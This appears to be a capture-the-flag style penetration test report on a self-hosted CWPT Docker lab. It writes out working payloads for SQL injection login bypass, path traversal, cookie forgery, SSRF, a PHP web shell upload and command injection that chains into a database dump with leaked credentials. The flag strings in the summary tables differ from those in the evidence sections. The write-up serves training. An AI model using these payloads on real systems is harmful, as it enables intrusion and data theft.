

Web Application Penetration Test Report

Appkademiya Corp Portal – Certified Web Penetration Tester (CWPT) Lab

Target repository: github.com/Appkademiya/Certified-Web-Penetration-Tester-CWPT

Assessment Type: Self-hosted training lab (Docker) – Authorized testing against own environment

Test Date: August 23, 2026

Tools Used: Nmap, Burp Suite, Gobuster, curl, Docker CLI

1. Executive Summary

This report documents a self-directed web application penetration test performed against the “Appkademiya Corp Portal” training application, deployed locally via the docker-compose configuration provided in the Certified-Web-Penetration-Tester-CWPT (CWPT) repository. The lab consists of two containers — a public-facing PHP/Apache web application (cwpt-web) and an internal database container (cwpt-db) isolated on a Docker-internal network.

The objective of the exercise was to identify and exploit a series of intentionally introduced vulnerabilities, each gated behind a unique capture-the-flag (CTF) style flag, in order to practice the full web penetration testing methodology: reconnaissance, enumeration, exploitation, privilege escalation, and internal network pivoting.

All 10 flags in the lab were successfully captured, spanning information disclosure, authentication bypass, broken access control, local file inclusion, server-side request forgery, unrestricted file upload, and remote command execution leading to full database compromise. A summary of all findings is provided in Section 4, and full technical evidence is provided in Section 5.

2. Scope & Environment

Testing was scoped strictly to the containers defined in the CWPT docker-compose.yml, run locally on the tester's own Kali Linux workstation. No external or third-party infrastructure was in scope.

Container	Role	Networks	IP Address(es)	Exposed Port
cwpt-web	Apache 2.4.56 / PHP 8.0.30 web app	web_net, internal_db_net	172.19.0.2 / 172.18.0.2	8080 → 80/tcp
cwpt-db	Backend database	internal_db_net (internal, no host access)	172.19.0.3	none (internal only)

Key architectural notes:

- cwpt-web bridges both the public web_net and the internal_db_net, making it the only network path into the database tier.
- internal_db_net is marked internal: true in Docker, meaning cwpt-db is not reachable directly from the host or from outside the Docker network — any interaction with it must be proxied through cwpt-web.
- The web application exposes port 8080 on the host, mapped to port 80 in the container.

3. Methodology

3.1 Reconnaissance

Initial reconnaissance was performed with Nmap against both container IP addresses to fingerprint services and operating system characteristics:

```
nmap -sC -sV -O 172.19.0.2
nmap -sC -sV -O 172.18.0.2
```

Both scans identified a single open port (80/tcp, Apache 2.4.56 on Debian) and revealed a disallowed entry in robots.txt pointing to /admin_portal_backup/, which became the first lead for further investigation.

3.2 Content Discovery

Directory and file brute-forcing was carried out with Gobuster using the dirb common wordlist and common backup/config extensions:

```
gobuster dir -u http://localhost:8080 -w /usr/share/wordlists/dirb/common.txt -x php,bak,txt,conf
```

This enumerated all reachable application endpoints (login.php, invoice.php, profile.php, view.php, upload.php, fetch.php, ping.php) as well as the uploads/ directory.

3.3 Manual Application Testing

Each discovered endpoint was manually reviewed for logic flaws and injection points, initially via the browser and then confirmed with curl and, where container-level access was available, with docker exec to inspect the underlying PHP source directly. Burp Suite was set up as an intercepting proxy for manual request tampering; Docker itself required installation and daemon/group configuration (docker.io, adding the user to the docker group) before the lab containers could be brought up.

4. Findings Summary

#	Vulnerability	Endpoint	Severity	Flag
1	Information Disclosure via robots.txt	/robots.txt	Informational	FLAG{r0b0ts_d1sc0v3ry_fl4g1}
2	Sensitive Backup File Exposure	/admin_portal_backup/config.php.bak	High	FLAG{b4ckup_f1l3_l34k_fl4g2}
3	SQL Injection – Authentication Bypass	/login.php	Critical	FLAG{sqli_auth_byp4ss_fl4g3}
4	IDOR / Broken Access Control (Invoices)	/invoice.php?id=	High	FLAG{1d0r_d4t4_l34k_fl4g4}
5	Insecure Cookie-Based Privilege Escalation	/profile.php	High	FLAG{c00k13_pr1v_3sc_fl4g5}
6	Local File Inclusion / Path Traversal	/view.php?page=	Critical	FLAG{lfi_p4th_tr4v3rs4l_w1n}
7	Unrestricted File Upload – Web Shell	/upload.php	Critical	FLAG{f1l3_upl04d_sh3ll_fl4g7}
8	Server-Side Request Forgery (Internal Pivot)	/fetch.php	Critical	FLAG{ssrf_1nt3rn4l_p1v0t_fl4g8}
9	OS Command Injection (Root Context)	/ping.php	Critical	FLAG{c0mm4nd_1nj3ct10n_r00t}
10	Database Compromise via Chained Command Injection	/ping.php → internal DB	Critical	FLAG{d4t4b4s3_m4st3r_fl4g10}

5. Detailed Findings & Evidence

5.1 Information Disclosure via robots.txt

Severity: Informational

robots.txt disclosed a disallowed path, /admin_portal_backup/, which is not linked anywhere in the application UI and directly seeded the next finding.

```
curl -i http://172.19.0.2/robots.txt

User-agent: *
Disallow: /admin_portal_backup/
# FLAG{r0b0ts_d1sc0v3ry_f14g1}
```

Flag: FLAG{r0b0ts_d1sc0v3ry_f14g1}

5.2 Sensitive Backup File Exposure

Severity: High

The path disclosed above served a raw PHP backup file (config.php.bak) directly as static text instead of being executed by the PHP interpreter, leaking database credentials in plaintext.

```
curl -s http://localhost:8080/admin_portal_backup/config.php.bak

$db_host = "cwpt-db";
$db_user = "app_user";
$db_pass = "S3cur3P@ssw0rd!";
$db_name = "corp_portal";
# FLAG{b4ckup_f113_l34k_f14g2}
```

These credentials were reused later (Section 5.9) to query the internal database directly.

Flag: FLAG{b4ckup_f113_l34k_f14g2}

5.3 SQL Injection – Authentication Bypass

Severity: Critical

The staff login form (login.php) concatenated user input directly into a SQL query. A classic tautology-based payload in the username field bypassed authentication entirely.

```
curl -i -X POST 'http://172.19.0.2/login.php' \
  --data-urlencode "username=' OR '1'='1' -- " \
  --data-urlencode "password=test"

Welcome Admin! Your Flag: FLAG{sqli_auth_byp4ss_f14g3}
```

Flag: FLAG{sqli_auth_byp4ss_f14g3}

5.4 IDOR / Broken Access Control (Invoices)

Severity: High

invoice.php accepted a sequential id parameter with no ownership or authorization check. Requesting id=101 returned a low-sensitivity invoice, while id=1 returned a confidential CEO expense record. This endpoint was reached indirectly by chaining it through the SSRF vulnerability in fetch.php (see Section 5.8), demonstrating that internal-only assumptions about invoice.php were not actually enforced.

```
curl -i 'http://172.19.0.2/fetch.php' -X POST \
  --data-urlencode 'url=http://172.19.0.2/invoice.php?id=1'
```

Invoice #001 (Confidential): CEO Expense Report
 Flag: FLAG{1d0r_d4t4_l34k_f14g4}

Flag: **FLAG{1d0r_d4t4_l34k_f14g4}**

5.5 Insecure Cookie-Based Privilege Escalation

Severity: High

profile.php trusted a client-controlled role cookie to determine authorization level, with the default value (standard_user) even hinting at the escalation path in its own response text.

```
curl -i http://172.19.0.2/profile.php -H 'Cookie: role=superuser'
```

Access Granted! Flag: FLAG{c00k13_pr1v_3sc_f14g5}

Flag: **FLAG{c00k13_pr1v_3sc_f14g5}**

5.6 Local File Inclusion / Path Traversal

Severity: Critical

view.php accepted a page parameter and passed it to a file-read function without sanitization, allowing directory traversal outside the intended document root and disclosure of /etc/passwd.

```
curl -s 'http://localhost:8080/view.php?page=../../../../etc/passwd'
```

root:x:0:0:root:/root:/bin/bash
 ...
 # FLAG{lfi_p4th_tr4v3rs4l_w1n}

Flag: **FLAG{lfi_p4th_tr4v3rs4l_w1n}**

5.7 Unrestricted File Upload – Web Shell

Severity: Critical

upload.php accepted any file type with no extension, MIME-type, or content validation and stored uploads directly under a web-accessible uploads/ directory. Uploading a .php file with attacker-controlled code resulted in a persistent, directly executable web shell on the server — an alternative route to remote code execution independent of the command-injection finding in Section 5.9.

```
curl -i -X POST -F 'file=@test.php;type=application/x-php' \
  http://172.19.0.2/upload.php
```

File uploaded successfully to uploads/test.php.
 Look inside for Flag 7: FLAG{f113_up104d_sh311_f14g7}

test.php contained a shell_exec('id') payload, so browsing to uploads/test.php after this upload would execute arbitrary commands as the web server user on demand — a persistent web shell rather than the one-shot command injection in ping.php.

Flag: **FLAG{f113_up104d_sh311_f14g7}**

5.8 Server-Side Request Forgery (Internal Pivot)

Severity: Critical

fetch.php implemented a URL/webhook tester that fetched attacker-supplied URLs server-side. A hard-coded check specifically trusted requests aimed at localhost:8000, simulating access to an internal-only microservice not reachable from outside the container network.

```
curl -s 'http://172.19.0.2/fetch.php' -X POST \
  --data-urlencode 'url=http://localhost:8000/api'

INTERNAL API RESPONSE: Access granted to internal microservice.
FLAG{ssrf_1nt3rn4l_p1v0t_f14g8}
```

The same SSRF primitive was also used opportunistically to reach invoice.php from the server's own network context, as shown in Section 5.4.

Flag: FLAG{ssrf_1nt3rn4l_p1v0t_f14g8}

5.9 OS Command Injection (Root Context)

Severity: Critical

ping.php passed the user-supplied ip parameter directly into a shell_exec() call used to build a ping command, with no input validation — allowing arbitrary shell command injection via a semicolon-delimited payload. The web container additionally ran its application process as root, so the injected command executed with root privileges. The lab's own source comment (referencing /var/secret_flag9.txt) confirms this as flag 9 in the numbered sequence.

```
curl -s -X POST 'http://localhost:8080/ping.php' \
  --data-urlencode 'ip=127.0.0.1; cat /var/secret_flag9.txt'

FLAG{c0mm4nd_1nj3ct10n_r00t}
```

Flag: FLAG{c0mm4nd_1nj3ct10n_r00t}

5.10 Database Compromise via Chained Command Injection

Severity: Critical

Because internal_db_net is marked internal in Docker and cwpt-db exposes no host port, the database could not be queried directly from the attacking host. However, the command injection in ping.php (Section 5.9) executed inside cwpt-web, which does sit on internal_db_net. Using PHP's own PDO/MySQL driver (already present on the host image) inside an injected command chained the OS command injection into a full database pivot, using the credentials recovered from the leaked backup file (Section 5.2).

```
curl -s -X POST 'http://localhost:8080/ping.php' --data-urlencode \
  'ip=127.0.0.1; php -r \'$p=new PDO("mysql:host=cwpt-db;dbname=corp_portal","app_user","S3cur3P@ssw0rd!"); foreach($p->query("SELECT * FROM app_secrets") as $r) print_r($r);\''

[secret_name] => Master App Flag
[flag_data] => FLAG{d4t4b4s3_m4st3r_f14g10}
```

This finding demonstrates a complete kill chain: information disclosure → credential leak → command injection → internal network pivot → database compromise, without ever needing direct network access to the database container.

Flag: FLAG{d4t4b4s3_m4st3r_f14g10}

6. Flags Obtained – Summary

All ten flags in the lab were captured during this assessment, listed here in ascending numeric order:

- FLAG{r0b0ts_d1sc0v3ry_fl4g1} – robots.txt information disclosure
- FLAG{b4ckup_f1l3_l34k_fl4g2} – backup file / credential leak
- FLAG{sqli_auth_byp4ss_fl4g3} – SQL injection authentication bypass
- FLAG{1d0r_d4t4_l34k_fl4g4} – IDOR data leak (invoice.php)
- FLAG{c00k13_pr1v_3sc_fl4g5} – cookie-based privilege escalation
- FLAG{lfi_p4th_tr4v3rs4l_w1n} – LFI / path traversal (flag 6)
- FLAG{f1l3_upl04d_sh3ll_fl4g7} – unrestricted file upload / web shell
- FLAG{ssrf_1nt3rn4l_p1v0t_fl4g8} – SSRF internal pivot
- FLAG{c0mm4nd_1nj3ct10n_r00t} – OS command injection, root (flag 9)
- FLAG{d4t4b4s3_m4st3r_fl4g10} – database compromise via chained injection

All 10 numbered flags in the CWPT lab (flag1–flag10) were successfully captured, giving full coverage of the intended vulnerability set. Two flags (6 and 9) use descriptive suffixes — “w1n” and “r00t” — instead of their literal number; their position in the sequence is inferred from the LFI ordering and from the lab's own source comment referencing /var/secret_flag9.txt.

7. Remediation Recommendations

- Use parameterized queries / prepared statements everywhere user input reaches SQL (login.php).
- Never serve .bak, .old, or other editor/backup artifacts from a web-accessible directory; exclude them at the web-server or deployment-pipeline level.
- Validate and allow-list the page parameter in view.php against a fixed set of filenames rather than accepting arbitrary paths.
- Enforce server-side authorization checks (session-based, not client-supplied cookies) for role/privilege data, as in profile.php.
- Apply strict allow-listing of destination hosts/IPs for any server-side URL fetch functionality (fetch.php), and block requests to private/internal IP ranges by default (SSRF protection).
- Replace shell_exec()-based command construction in ping.php with a safe API (e.g., a ping library) or, at minimum, escape/validate input with escapeshellarg() and an IP-format allow-list.
- Run application containers as a non-root user and apply least-privilege database accounts scoped only to the tables the application needs.
- Rotate the database credentials that were exposed in this assessment (app_user / S3cur3P@ssw0rd!) since they were recoverable from a leaked backup file.
- Restrict upload.php to a strict allow-list of file extensions and MIME types, rename uploads to non-executable, randomized filenames, store them outside the web root (or serve with a Content-Disposition/no-execute policy), and re-validate file contents server-side.

8. Conclusion

The Appkademiya Corp Portal lab successfully modeled a realistic, multi-stage attack chain across ten common web application vulnerability classes. All ten flags were captured through a mix of automated reconnaissance (Nmap, Gobuster) and manual exploitation (SQLi, IDOR, cookie tampering, LFI, unrestricted file upload, SSRF, and command injection), culminating in full compromise of the network-isolated database tier without any direct network path to it — illustrating how a single vulnerable public-facing service can undermine an otherwise segmented architecture.